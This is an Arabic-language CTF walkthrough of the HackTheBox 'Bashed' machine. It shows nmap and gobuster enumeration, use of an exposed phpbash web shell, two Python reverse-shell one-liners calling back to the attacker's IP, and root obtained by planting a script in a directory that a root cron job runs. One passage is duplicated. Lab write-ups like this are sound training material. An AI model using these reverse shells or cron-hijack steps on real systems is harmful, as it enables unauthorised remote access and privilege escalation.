حل مشين Bashed من Hackthebox

 

حل مشين Bashed من Hackthebox

حل مشين Bashed من Hackthebox


مشين Bashed من hackthebox هي مشين سهلى تعمل بنظام لينكس. تم انشائها من قبل Arrexel.


طور الـ USER

في البداية قمت بفحص المشين باداة nmap لكي ارى ماهي المنافذ المفتوحة. وجدت بورت واحد مفتوح وهو بورت 80:

root@kali# nmap -sV -sC -oA nmap/initial 10.10.10.68
Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-06 20:40 EST
Nmap scan report for 10.10.10.68
Host is up (0.098s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http?

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.85 seconds


بعد فتح الموقع في المتصفح وجدت موقع بلوج يحتوي على منشور واحد يتكلم حول phpbash

phpbash

phpbash


قررت تشغيل اداة gobuster لارى ماهي المجلدات والملفات المخفية


root@kali# gobuster -u http://10.10.10.68 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.68/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Status codes : 200,204,301,302,307
=====================================================
/images (Status: 301)
/uploads (Status: 301)
/php (Status: 301)
/css (Status: 301)
/dev (Status: 301)
/js (Status: 301)
/fonts (Status: 301)


المجلد dev/ مثير للاهتمام . بعد فتحه في المتصفح وجدت انه يسمح التنقل

dev

الضغط على ملف phpbash.php يعطينا شيل بصلاحيات www-data

www-data


ساتوجه الى المسار /home/arrexel والحصول على ملف user.txt

www-data@bashed:/home/arrexel# ls
user.txt
www-data@bashed:/home/arrexel# wc -c user.txt
33 user.txt


ترقية الشيل

في نافذة شيل phpshell نفذ الامر التالي للحصول على شيل نظامي

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.157",1235));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


في نظام الكالي

root@kali# nc -lnvp 1235
listening on [any] 1235 ...
connect to [10.10.14.157] from (UNKNOWN) [10.10.10.68] 49932
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@bashed:/var/www/html/dev$


طور الـ ROOT

قم بتشغيل اداة LinEnum.sh لكي تحصل على معلومات حول رفع الصلاحيات

www-data can sudo as scriptmanager:
We can sudo without supplying a password!
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL


القسم الذي اثار فضولي هو scriptmanager . لرفع الصلاحية يمكن استخدام الامر التالي

sudo -u scriptmanager /bin/bash


بعد رفع الصلاحية . الان لدينا صلاحية زيارة المسار scripts/ الذي لم يكن المستخدم www-data صلاحية الدخول اليه

$ ls -ld /scripts
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Dec  4 18:06 /scripts


يوجد ملفان في هذا المجلد

scriptmanager@bashed:/scripts$ ls -l
total 8
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec  4 17:03 test.py
-rw-r--r-- 1 root          root          12 Mar  7 04:09 test.txt

scriptmanager@bashed:/scripts$ cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close

scriptmanager@bashed:/scripts$ cat test.txt
testing 123!


المثير في الموضوع ان ملف test.txt هو مملوك لليوزر root , ويبدو ان هذا الملف هو نتيجة تشغيل ملف test.py . ملف test.py هو قابل للكتابة من قبل المستخدم scriptmanager.

حاولت تغيير اسم الملف test.txt الى test.txt.old ولكن الملف تم انشاءه مرة اخرى

scriptmanager@bashed:/scripts$ date
Wed Mar  7 05:37:32 PST 2018

scriptmanager@bashed:/scripts$ ls
test.py  test.txt.old  test2.py  test3.py  testt.py

scriptmanager@bashed:/scripts$ date
Wed Mar  7 05:39:14 PST 2018

scriptmanager@bashed:/scripts$ ls
test.py  test.txt  test.txt.old  test2.py  test3.py  testt.py


يبدو ان هناك شي معين في النظام يقوم بتشغيل اي ملف يحمل الامتداد py من داخل مجلد scripts/. بما ان ملف test.py لايحتوي على على السطر #! . فقد يكون هناك عملية cron تستدعي ملفات py باسخدام الامر python .


من الممكن كتابة سكربت يقوم بقراءة ملف root/root.txt/ وتخزينه في مكان آخر . 


scriptmanager@bashed:/scripts$ ls -l
total 8
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec  4 17:03 test.py
-rw-r--r-- 1 root          root          12 Mar  7 04:09 test.txt

scriptmanager@bashed:/scripts$ cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close

scriptmanager@bashed:/scripts$ cat test.txt
testing 123!


يبدو ان هناك شي معين في النظام يقوم بتشغيل اي ملف يحمل الامتداد py من داخل مجلد scripts/. بما ان ملف test.py لايحتوي على على السطر #! . فقد يكون هناك عملية cron تستدعي ملفات py باسخدام الامر python .


من الممكن كتابة سكربت يقوم بقراءة ملف root/root.txt/ وتخزينه في مكان آخر . 

 ولكن الافضل ان نحصل على شيل بصلاحية الروت


scriptmanager@bashed:/scripts$ echo "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.157\",31337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);" > .exploit.py


في نظام كالي ساقوم بتشغيل اداة nc والتصنت على بورت 31337 والحصول على شيل بصلاحية الروت

root@kali# nc -lnvp 31337
listening on [any] 31337 ...
connect to [10.10.14.157] from (UNKNOWN) [10.10.10.68] 47806
/bin/sh: 0: can't access tty; job control turned off

# id
uid=0(root) gid=0(root) groups=0(root)

# python -c 'import pty; pty.spawn("/bin/bash")'

root@bashed:/scripts# crontab -l
* * * * * cd /scripts; for f in *.py; do python "$f"; done

root@bashed:/scripts# wc -l /root/root.txt
33 /root/root.txt


كما هو متوقع . هناك خدمة cron تقوم بتشغيل السكربتات بصلاحية روت من المسار scripts/ .

تعليقات